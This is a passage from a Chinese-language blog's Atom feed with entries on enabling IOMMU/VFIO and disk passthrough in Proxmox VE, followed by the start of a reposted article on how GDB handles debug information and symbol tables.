&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>pve开启硬件直通命令</title>
        <published>2024-11-10T00:00:00+00:00</published>
        <updated>2024-11-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/pve开启硬件直通命令/"/>
        <id>https://vercel.juzhong.asia/obsidian/pve开启硬件直通命令/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/pve开启硬件直通命令/">&lt;h4 id=&quot;yi-pan-duan-zhu-ji-shi-fou-zhi-chi-zhi-tong&quot;&gt;一、判断主机是否支持直通&lt;&#x2F;h4&gt;
&lt;p&gt;首先确认自己的主板CPU是否支持Vt-d功能，不支持就搞不了直通。intel要b75以上芯片组才支持。也就是说intel4代酷睿处理器以上，都支持。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;er-kai-qi-iommu&quot;&gt;二、开启iommu&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;1、打开PVE节点的shell，输入命令：
nano &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub

GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet&amp;quot;
#inter cpu改为：
GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet intel_iommu=on iommu=pt&amp;quot;

#如果是amd cpu请改为：
GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;quiet amd_iommu=on iommu=pt&amp;quot;
编辑完文件后按 【 Ctrl + X 】 【  Y  】  回车

2、继续输入以下命令
echo vfio &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;modules
echo vfio_iommu_type1 &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;modules
echo vfio_pci &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;modules
echo vfio_virqfd &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;modules

3、最后更新配置信息并重启PVE主机
update-grub
update-initramfs -u -k all
reboot

4、验证是否开启iommu，在终端输入

dmesg | grep iommu
出现如下例子。则代表成功

[ 1.341100] pci 0000:00:00.0: Adding to iommu group 0
[ 1.341116] pci 0000:00:01.0: Adding to iommu group 1
[ 1.341126] pci 0000:00:02.0: Adding to iommu group 2
[ 1.341137] pci 0000:00:14.0: Adding to iommu group 3
[ 1.341146] pci 0000:00:17.0: Adding to iommu group 4

执行命令：
find &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F; -type l
#出现很多直通组，就代表成功了。如果没有任何东西，就是没有开启
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;4&amp;#x2F;devices&amp;#x2F;0000:00:12.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;22&amp;#x2F;devices&amp;#x2F;0000:07:00.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;12&amp;#x2F;devices&amp;#x2F;0000:00:1d.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;2&amp;#x2F;devices&amp;#x2F;0000:00:01.2
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;2&amp;#x2F;devices&amp;#x2F;0000:02:00.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;2&amp;#x2F;devices&amp;#x2F;0000:00:01.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;20&amp;#x2F;devices&amp;#x2F;0000:06:02.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;10&amp;#x2F;devices&amp;#x2F;0000:00:1c.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;0&amp;#x2F;devices&amp;#x2F;0000:00:02.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;19&amp;#x2F;devices&amp;#x2F;0000:06:01.0
&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;iommu_groups&amp;#x2F;9&amp;#x2F;devices&amp;#x2F;0000:00:1b.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The action has been successful&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>pve磁盘直通</title>
        <published>2024-11-10T00:00:00+00:00</published>
        <updated>2024-11-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/pve磁盘直通/"/>
        <id>https://vercel.juzhong.asia/obsidian/pve磁盘直通/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/pve磁盘直通/">&lt;h1 id=&quot;pveci-pan-zhi-tong&quot;&gt;pve磁盘直通&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-gai-shu&quot;&gt;一、概述&lt;&#x2F;h2&gt;
&lt;p&gt;磁盘直通可以归纳为三种方式：&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-rdm-luo-ci-pan-ying-she&quot;&gt;1、RDM (裸磁盘映射)&lt;&#x2F;h5&gt;
&lt;p&gt;RDM是引用于VMware的裸磁盘映射。将单个硬盘或者分区，通过qemu进行映射到虚拟机。通过这种方式，硬盘会在虚拟机内会认为是一个qemu-hdd。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-ci-pan-kong-zhi-qi-zhi-tong&quot;&gt;2、磁盘控制器直通&lt;&#x2F;h5&gt;
&lt;p&gt;在DAS架构中，硬盘都是连接到硬盘控制器（Nvme除外），由硬盘控制器管理。因此直通了磁盘控制器，就会让磁盘控制器下的所有硬盘间接直通到虚拟机。通过这种方式，硬盘会在虚拟机内会认为是一个物理磁盘，具有smart属性。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-nvmezhi-tong&quot;&gt;3、nvme直通&lt;&#x2F;h5&gt;
&lt;p&gt;Nvme作为一个PCIe设备，那么只需要安装PCIe方式进行直通。开启iommu，再去虚拟机-硬件添加即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;er-ju-ti-cao-zuo-fang-fa&quot;&gt;二、具体操作方法&lt;&#x2F;h2&gt;
&lt;h5 id=&quot;1-rdmci-pan-zhi-tong-bu-tui-jian&quot;&gt;1、RDM磁盘直通（不推荐）&lt;&#x2F;h5&gt;
&lt;p&gt;注：不需要开启iommu。只能在PVE命令行中添加。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以通过下面命令，列出当前的硬盘列表&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ls -la &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;|grep -v dm|grep -v lvm|grep -v part&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如下面的例子&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;total 0
drwxr-xr-x 2 root root 500 Jan  1 10:49 .
drwxr-xr-x 7 root root 140 Jan  1 10:46 ..
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-GLOWAY_YCT4TNVMe-M.2_80_T23110801290 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme1n1
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-GLOWAY_YCT4TNVMe-M.2_80_T23110801290_1 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme1n1
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-nvme.1e4b-505342483633343130353033333035-5072656461746f722053534420474d37204d2e3220345442-00000001 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme0n1
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-nvme.1e4b-543233313130383031323930-474c4f5741592059435434544e564d652d4d2e322f3830-00000001 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme1n1
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-Predator_SSD_GM7_M.2_4TB_PSBH63410503305 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme0n1
lrwxrwxrwx 1 root root  13 Jan  1 10:46 nvme-Predator_SSD_GM7_M.2_4TB_PSBH63410503305_1 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;nvme0n1
lrwxrwxrwx 1 root root   9 Jan  1 10:46 usb-Generic_MassStorageClass_000000001621-0:0 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;sdb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面nvme开头的是nvme硬盘，如果是ata开头是走sata或者ata通道的设备。scsi开头是scsi设备-阵列卡raid或者是直通卡上的硬盘。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以通过&lt;code&gt;qm set --scsiX &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;xxxxxxx&lt;&#x2F;code&gt; 进行RDM直通&lt;&#x2F;p&gt;
&lt;p&gt;例如你有一个虚拟机，虚拟机的vmid是101，–scsiX，这里的X是整数&lt;&#x2F;p&gt;
&lt;p&gt;你打算直通intel的一个nvme硬盘，那么你可以使用下面命令&lt;code&gt;qm set 101 --scsi1 &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;&lt;&#x2F;code&gt;nvme-Predator_SSD_GM7_M.2_4TB_PSBH63410503305&lt;&#x2F;p&gt;
&lt;p&gt;执行之后，就可以在硬件页面中看到这个硬盘。&lt;&#x2F;p&gt;
&lt;p&gt;也可以使用ide或者sata形式直通硬盘，如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;qm set 101 --sata1 &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;nvme-Predator_SSD_GM7_M.2_4TB_PSBH63410503305&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;qm set 101 --ide1 &#x2F;dev&#x2F;disk&#x2F;by-id&#x2F;nvme-Predator_SSD_GM7_M.2_4TB_PSBH63410503305&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;建议为scsi设备，这样性能理论上是最优秀的。&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是，scsi会有序号，如scsi1，scsi0。在操作之前，应该要知道哪些scsi号是空的。对于pve来说，sata最多有6个设备。如果要使用sata类型直通，请勿超过sata5.&lt;&#x2F;p&gt;
&lt;p&gt;如果想要了解什么最多6个sata，请参考&lt;&#x2F;p&gt;
&lt;p&gt;如果需要取消直通，可以使用命令&lt;code&gt;qm set --delete scsiX&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如上面的例子，你应该输入&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;qm set 101 --delete scsi1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;出现update 即代表成功。可返回网页上查看。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root@pve:~# qm set 101 --delete scsi1

update VM 101: -delete scsi1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;磁盘控制器直通之后，虚拟机可以获得全部的磁盘属性。&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是，你需要多个磁盘控制器，且Proxmox VE系统安装在非需要直通的硬盘控制器上，否则会将系统直通给虚拟机，导致系统崩溃。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-ci-pan-kong-zhi-qi-zhi-tong-tui-jian&quot;&gt;2、 磁盘控制器直通（推荐）&lt;&#x2F;h5&gt;
&lt;p&gt;查看硬盘所属硬盘控制器&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ls -la &#x2F;sys&#x2F;dev&#x2F;block&#x2F;|grep -v loop |grep -v dm&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;total 0
drwxr-xr-x 2 root root 0 Jan  1 13:30 .
drwxr-xr-x 4 root root 0 Jan  1 13:30 ..
lrwxrwxrwx 1 root root 0 Jan  1 13:30 259:0 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:1b.0&amp;#x2F;0000:03:00.0&amp;#x2F;nvme&amp;#x2F;nvme1&amp;#x2F;nvme1n1
lrwxrwxrwx 1 root root 0 Jan  1 13:30 259:1 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:1b.0&amp;#x2F;0000:03:00.0&amp;#x2F;nvme&amp;#x2F;nvme1&amp;#x2F;nvme1n1&amp;#x2F;nvme1n1p1
lrwxrwxrwx 1 root root 0 Jan  1 13:30 259:2 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:1b.0&amp;#x2F;0000:03:00.0&amp;#x2F;nvme&amp;#x2F;nvme1&amp;#x2F;nvme1n1&amp;#x2F;nvme1n1p2
lrwxrwxrwx 1 root root 0 Jan  1 13:30 259:3 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:1b.0&amp;#x2F;0000:03:00.0&amp;#x2F;nvme&amp;#x2F;nvme1&amp;#x2F;nvme1n1&amp;#x2F;nvme1n1p3
lrwxrwxrwx 1 root root 0 Jan  1 13:30 259:4 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:01.2&amp;#x2F;0000:02:00.0&amp;#x2F;nvme&amp;#x2F;nvme0&amp;#x2F;nvme0n1
lrwxrwxrwx 1 root root 0 Jan  1 13:30 8:0 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:17.0&amp;#x2F;ata2&amp;#x2F;host1&amp;#x2F;target1:0:0&amp;#x2F;1:0:0:0&amp;#x2F;block&amp;#x2F;sda
lrwxrwxrwx 1 root root 0 Jan  1 13:30 8:1 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:17.0&amp;#x2F;ata2&amp;#x2F;host1&amp;#x2F;target1:0:0&amp;#x2F;1:0:0:0&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;sda1
lrwxrwxrwx 1 root root 0 Jan  1 13:30 8:16 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:14.0&amp;#x2F;usb2&amp;#x2F;2-6&amp;#x2F;2-6:1.0&amp;#x2F;host8&amp;#x2F;target8:0:0&amp;#x2F;8:0:0:0&amp;#x2F;block&amp;#x2F;sdb
lrwxrwxrwx 1 root root 0 Jan  1 13:30 8:2 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:17.0&amp;#x2F;ata2&amp;#x2F;host1&amp;#x2F;target1:0:0&amp;#x2F;1:0:0:0&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;sda2
lrwxrwxrwx 1 root root 0 Jan  1 13:30 8:3 -&amp;gt; ..&amp;#x2F;..&amp;#x2F;devices&amp;#x2F;pci0000:00&amp;#x2F;0000:00:17.0&amp;#x2F;ata2&amp;#x2F;host1&amp;#x2F;target1:0:0&amp;#x2F;1:0:0:0&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;sda3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如上面所示，&lt;code&gt;pci0000:00&lt;&#x2F;code&gt;是Pci桥，&lt;code&gt;0000:00:17.0&lt;&#x2F;code&gt;就是硬盘控制器，后面是硬盘的盘号&lt;&#x2F;p&gt;
&lt;p&gt;如果不知道pve所在的硬盘。可以使用命令lsblk查看，有pve-root的，便是pve所在的硬盘&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;root@pve:~# lsblk
NAME                         MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
sda                            8:0    0  1.8T  0 disk
├─sda1                         8:1    0    8G  0 part
├─sda2                         8:2    0    2G  0 part
└─sda3                         8:3    0  1.8T  0 part
sdb                            8:16   1    0B  0 disk
nvme1n1                      259:0    0  3.7T  0 disk
├─nvme1n1p1                  259:1    0 1007K  0 part
├─nvme1n1p2                  259:2    0    1G  0 part &amp;#x2F;boot&amp;#x2F;efi
└─nvme1n1p3                  259:3    0  3.7T  0 part
  ├─pve-swap                 252:0    0    8G  0 lvm  [SWAP]
  ├─pve-root                 252:1    0   96G  0 lvm  &amp;#x2F;
  ├─pve-data_tmeta           252:2    0 15.9G  0 lvm
  │ └─pve-data-tpool         252:4    0  3.6T  0 lvm
  │   ├─pve-data             252:5    0  3.6T  1 lvm
  │   └─pve-vm--100--disk--0 252:6    0    4G  0 lvm
  └─pve-data_tdata           252:3    0  3.6T  0 lvm
    └─pve-data-tpool         252:4    0  3.6T  0 lvm
      ├─pve-data             252:5    0  3.6T  1 lvm
      └─pve-vm--100--disk--0 252:6    0    4G  0 lvm
nvme0n1                      259:4    0  3.7T  0 disk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据返回结果，我的pve系统是安装在nvme1n1上，所以切勿直通sdb  nvme1n1，避免pve系统崩溃，本次安装nas，我直通sda，这是一块SATA固态 。&lt;&#x2F;p&gt;
&lt;p&gt;具体直通流程很简单，首先开启硬件直通功能后，然后在硬件页面上添加PCI设备即可。如何开启直通功能，参考&lt;&#x2F;p&gt;
&lt;p&gt;然后在硬件页面添加pci设备，并且点击高级，勾选PCIe设备&lt;&#x2F;p&gt;
&lt;p&gt;之后虚拟机内，就可以看到磁盘的信息了&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-nvmezhi-tong-tui-jian&quot;&gt;三：Nvme直通（推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;Nvme作为一个PCIe设备，那么只需要安装PCIe方式进行直通。开启iommu，再去面板上添加即可。&lt;&#x2F;p&gt;
&lt;p&gt;同时也要记得勾选PCIe设备。&lt;&#x2F;p&gt;
&lt;p&gt;在虚拟机内，也能正常识别。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GDB 源码分析系列文章三：调试信息的处理、符号表的创建和使用_gdb 符号表-CSDN博客</title>
        <published>2024-11-06T00:00:00+00:00</published>
        <updated>2024-11-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章三-调试信息的处理、符号表的创建和使用_gdb-符号表-csdn博客/"/>
        <id>https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章三-调试信息的处理、符号表的创建和使用_gdb-符号表-csdn博客/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章三-调试信息的处理、符号表的创建和使用_gdb-符号表-csdn博客/">&lt;h1 id=&quot;gdb-yuan-ma-fen-xi-xi-lie-wen-zhang-san-diao-shi-xin-xi-de-chu-li-fu-hao-biao-de-chuang-jian-he-shi-yong-gdb-fu-hao-biao-csdnbo-ke&quot;&gt;GDB 源码分析系列文章三：调试信息的处理、符号表的创建和使用_gdb 符号表-CSDN博客&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124961051?spm=1001.2014.3001.5502&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124961051?spm=1001.2014.3001.5502&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gdb-yuan-ma-fen-xi-xi-lie-wen-zhang-san-diao-shi-xin-xi-de-chu-li-fu-hao-biao-de-chuang-jian-he-shi-yong&quot;&gt;GDB 源码分析系列文章三：调试信息的处理、符号表的创建和使用&lt;&#x2F;h2&gt;
&lt;p&gt;gdb 之所以能够进行源码级调试，本质上是编译的过程保存了源码到目标程序之间的映射关系，包括行号、地址等映射关系。gdb 在调试程序时，会对调试信息和符号表进行加工处理，得到 gdb 内部的符号表，gdb 依靠符号表完成一些列调试任务。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;diao-shi-xin-xi-he-fu-hao-biao-jian-jie&quot;&gt;调试信息和符号表简介&lt;&#x2F;h2&gt;
&lt;p&gt;这里说的调试信息指的是 &lt;code&gt;debug_*&lt;&#x2F;code&gt; 相关信息，符号表是指 &lt;code&gt;symtab&lt;&#x2F;code&gt; 和 &lt;code&gt;dynsym&lt;&#x2F;code&gt;。gdb 对这两种信息进行解析和加工，得到的信息在 gdb 内部统称为符号表。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;diao-shi-xin-xi&quot;&gt;调试信息&lt;&#x2F;h3&gt;
&lt;p&gt;调试信息需要带上 -g 编译选项才能产生。关于调试信息在我之前的博客中有一篇引导性的介绍 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;122617871?spm=1001.2014.3001.5502&quot;&gt;调试信息（debugging information）——解析DWARF文件&lt;&#x2F;a&gt; 这里只简单列举下各个 section。&lt;&#x2F;p&gt;
&lt;p&gt;使用 &lt;code&gt;readelf -S xx.out&lt;&#x2F;code&gt; 得到可执行文件各个 section 的列表：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;There are 37 section headers, starting at offset 0x99d8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000000318  00000318
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.gnu.propert NOTE             0000000000000338  00000338
       0000000000000020  0000000000000000   A       0     0     8
  [ 3] .note.gnu.build-i NOTE             0000000000000358  00000358
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .note.ABI-tag     NOTE             000000000000037c  0000037c
       0000000000000020  0000000000000000   A       0     0     4
  [ 5] .gnu.hash         GNU_HASH         00000000000003a0  000003a0
       0000000000000024  0000000000000000   A       6     0     8
  [ 6] .dynsym           DYNSYM           00000000000003c8  000003c8
       00000000000000a8  0000000000000018   A       7     1     8
  [ 7] .dynstr           STRTAB           0000000000000470  00000470
       0000000000000084  0000000000000000   A       0     0     1
  [ 8] .gnu.version      VERSYM           00000000000004f4  000004f4
       000000000000000e  0000000000000002   A       6     0     2
  [ 9] .gnu.version_r    VERNEED          0000000000000508  00000508
       0000000000000020  0000000000000000   A       7     1     8
  [10] .rela.dyn         RELA             0000000000000528  00000528
       00000000000000c0  0000000000000018   A       6     0     8
  [11] .rela.plt         RELA             00000000000005e8  000005e8
       0000000000000018  0000000000000018  AI       6    24     8
  [12] .init             PROGBITS         0000000000001000  00001000
       000000000000001b  0000000000000000  AX       0     0     4
  [13] .plt              PROGBITS         0000000000001020  00001020
       0000000000000020  0000000000000010  AX       0     0     16
  [14] .plt.got          PROGBITS         0000000000001040  00001040
       0000000000000010  0000000000000010  AX       0     0     16
  [15] .plt.sec          PROGBITS         0000000000001050  00001050
       0000000000000010  0000000000000010  AX       0     0     16
  [16] .text             PROGBITS         0000000000001060  00001060
       00000000000001d5  0000000000000000  AX       0     0     16
  [17] .fini             PROGBITS         0000000000001238  00001238
       000000000000000d  0000000000000000  AX       0     0     4
  [18] .rodata           PROGBITS         0000000000002000  00002000
       000000000000000c  0000000000000000   A       0     0     4
  [19] .eh_frame_hdr     PROGBITS         000000000000200c  0000200c
       000000000000004c  0000000000000000   A       0     0     4
  [20] .eh_frame         PROGBITS         0000000000002058  00002058
       0000000000000128  0000000000000000   A       0     0     8
  [21] .init_array       INIT_ARRAY       0000000000003db8  00002db8
       0000000000000008  0000000000000008  WA       0     0     8
  [22] .fini_array       FINI_ARRAY       0000000000003dc0  00002dc0
       0000000000000008  0000000000000008  WA       0     0     8
  [23] .dynamic          DYNAMIC          0000000000003dc8  00002dc8
       00000000000001f0  0000000000000010  WA       7     0     8
  [24] .got              PROGBITS         0000000000003fb8  00002fb8
       0000000000000048  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000004000  00003000
       0000000000000014  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000004014  00003014
       0000000000000004  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00003014
       000000000000002b  0000000000000001  MS       0     0     1
  [28] .debug_aranges    PROGBITS         0000000000000000  0000303f
       0000000000000030  0000000000000000           0     0     1
  [29] .debug_info       PROGBITS         0000000000000000  0000306f
       000000000000037f  0000000000000000           0     0     1
  [30] .debug_abbrev     PROGBITS         0000000000000000  000033ee
       0000000000000122  0000000000000000           0     0     1
  [31] .debug_line       PROGBITS         0000000000000000  00003510
       0000000000000266  0000000000000000           0     0     1
  [32] .debug_str        PROGBITS         0000000000000000  00003776
       00000000000047a7  0000000000000001  MS       0     0     1
  [33] .debug_macro      PROGBITS         0000000000000000  00007f1d
       000000000000106a  0000000000000000           0     0     1
  [34] .symtab           SYMTAB           0000000000000000  00008f88
       00000000000006d8  0000000000000018          35    52     8
  [35] .strtab           STRTAB           0000000000000000  00009660
       000000000000020c  0000000000000000           0     0     1
  [36] .shstrtab         STRTAB           0000000000000000  0000986c
       0000000000000167  0000000000000000
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 .debug 打头的就是调试信息了。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;section&lt;&#x2F;th&gt;&lt;th&gt;description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;.debug_aranges&lt;&#x2F;td&gt;&lt;td&gt;范围表。每个编译单元对应一个范围表，记录一些 entry 的范围，方便多个编译单元间快速查询。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.debug_info&lt;&#x2F;td&gt;&lt;td&gt;主要的调试信息。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.debug_abbrev&lt;&#x2F;td&gt;&lt;td&gt;调试信息缩写表。每个编译单元对应一个缩写表，缩写表是该编译单元的一系列缩写。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.debug_line&lt;&#x2F;td&gt;&lt;td&gt;调试行信息。源码的行对应到的目标程序的pc。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.debug_str&lt;&#x2F;td&gt;&lt;td&gt;.debug_info中使用到的字符串表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.debug_macinfo&lt;&#x2F;td&gt;&lt;td&gt;宏信息。-g3 编译才会产生。上面的编译程序没有&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;fu-hao-biao&quot;&gt;符号表&lt;&#x2F;h3&gt;
&lt;p&gt;其实符号表包括 &lt;code&gt;symtab&lt;&#x2F;code&gt; 和 &lt;code&gt;dynsym&lt;&#x2F;code&gt; 两种。在没有 -g 编译也会产生，在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E9%87%8D%E5%AE%9A%E4%BD%8D&amp;amp;spm=1001.2101.3001.7020&quot;&gt;重定位&lt;&#x2F;a&gt;过程中需要处理。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;symtab 包括两种类型符号：全局符号和本地静态符号。&lt;&#x2F;li&gt;
&lt;li&gt;dynsym 仅仅包加载动态库所需要的符号。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其实，&lt;code&gt;symtab&lt;&#x2F;code&gt; 是包含了 &lt;code&gt;dynsym&lt;&#x2F;code&gt;，也就是说 &lt;code&gt;dynsym&lt;&#x2F;code&gt; 是 &lt;code&gt;symtab&lt;&#x2F;code&gt; 的子集。那为什么还要保存重复的 &lt;code&gt;dynsym&lt;&#x2F;code&gt; 呢？当对目标程序进行 strip 时 &lt;code&gt;strip xx.out&lt;&#x2F;code&gt; ，&lt;code&gt;symtab&lt;&#x2F;code&gt; 将会被去除，但是 dynsym 还在，可以保证动态加载可以正常工作。因此，gdb 在解析符号表时候，只需要读取 &lt;code&gt;symtab&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;diao-shi-xin-xi-de-chu-li-he-fu-hao-biao-de-chuang-jian&quot;&gt;调试信息的处理和符号表的创建&lt;&#x2F;h2&gt;
&lt;p&gt;gdb 读取调试信息和符号表，在 gdb 使用符号表来记录， gdb 内部存在 3 种符号表。&lt;&#x2F;p&gt;
